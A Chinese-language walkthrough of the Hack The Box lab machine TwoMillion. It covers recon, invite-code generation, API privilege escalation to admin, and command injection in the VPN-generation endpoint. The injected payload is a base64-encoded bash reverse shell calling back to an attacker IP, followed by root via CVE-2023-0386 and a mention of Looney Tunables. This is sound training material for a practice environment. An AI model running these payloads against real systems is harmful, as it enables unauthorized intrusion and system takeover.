HTB_TwoMillion
HTB_TwoMillion
信息收集
先用nmap扫描哪些端口为开放状态
sudo nmap -sC -sV -p- 10.10.11.221 -oN 10.10.11.221.txt --min-rate 2000

在探测中发现了 2million.htb 域名信息(这里图片没有显示是因为我已经写到/etc/hosts 里面了
将10.10.11.221 2million.htb 写到 /etc/hosts 里面
echo "10.10.11.221 2million.htb" | sudo tee -a /etc/hosts
渗透测试
有两个可以操作的接口,一个是Join,进入/invite,一个是login
/invite

这里注册需要一个邀请码,我们找一下邀请码生成的js文件,它做了混淆,我们可以放到 js 反混淆的解析网站上,解析一下

https://lelinhtinh.github.io/de4js/
解析过后代码

verifyInviteCode(code) —— 验证邀请码
makeInviteCode() —— 生成新的邀请码
我们可以直接POST访问/api/v1/invite/how/to/generate生成邀请码
curl -X POST http://2million.htb/api/v1/invite/how/to/generate

ROT13解码得到/api/v1/invite/generate
curl -X POST http://2million.htb/api/v1/invite/generate

base64解密一下code

然后正常的注册登录

接下来就是测试,我这里先用dirsearch扫描了一下根目录路由
dirsearch -u http://2million.htb

这里有两个401问题的路由,也就是路由存在但是未授权
卡住了,看看HTB的官方引导
这里说让点击Connection Pack

bp抓包看一眼

所以这一步骤答案为/api/v1/user/vpn/generate
再次访问/api/v1路由就可成功访问

在最下面看到了最敏感的admin路由

我们按照它规定的传参方式依次传参
/api/v1/admin/auth
检查不是管理员,返回false

/api/v1/admin/vpn/generate
返回401

/api/v1/admin/settings/update

提示content-type不对

缺少参数email

缺少参数is_admin

成功设置为管理员权限
那么刚刚最先开始测试的返回401的接口/api/v1/admin/vpn/generate
再次尝试,返回200

根据提示补全字段后生成VPN证书

那么这个时候就该思考一下这个证书是怎么生成的,有没有可能是执行了一个linux命令生成了VPN证书
我们可以来测试下,先用;结束语句再执行我们想执行的命令

执行成功!
获得普通用户权限
kali开启监听
nc -lvnp 9001
反弹shell
echo 'bash -i >& /dev/tcp/10.10.17.13/9001 0>&1' | base64
curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=a3761b60i490hn83mjcqu4rtld" --header "Content-Type: application/json" --data '{"username":"Dre4m;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMy85MDAxIDA+JjEK | base64 -d | bash;"}'
接收到数据

cat /etc/passwd

这里可以看到普通用户是admin,我们要想办法拿到这个权限
寻找用户名密码是否硬编码在了某些文件里
find . -type f -exec grep -iHn "password" {} +

用这个用户名密码进行登录

ssh登录一下
提权
find / -perm -u=s -type f 2>/dev/null

这是一个Ubuntu内核OverlayFS权限逃逸漏洞
所以看一下Ubuntu内核版本uname -r
为5.15.70-051570-generic

找到对应的EXP
https://github.com/sxlmnwb/CVE-2023-0386
clone到kali里面
scp CVE-2023-0386-master.zip admin@10.10.11.221:/home/admin/CVE-2023-0386-master.zip
ssh登录admin用户
1 | |
最后id验证一下

拿到最后的flag

引导模式最后部分
[Alternative Priv Esc] What is the version of the GLIBC library on TwoMillion?
用ldd --version命令查看

[Alternative Priv Esc] What is the CVE ID for the 2023 buffer overflow vulnerability in the GNU C dynamic loader?
2023 年 GNU C Library(glibc)动态链接器 ld.so 中确实公开过一个缓冲区溢出漏洞,它的官方编号是:
CVE-2023-4911
又被称为 “Looney Tunables” 漏洞。
它是一个影响 GLIBC 动态加载器(ld.so) 的本地提权漏洞,允许本地用户提升到 root。
[Alternative Priv Esc] With a shell as admin or www-data, find a POC for Looney Tunables. What is the name of the environment variable that triggers the buffer overflow? After answering this question, run the POC and get a shell as root.
GLIBC_TUNABLES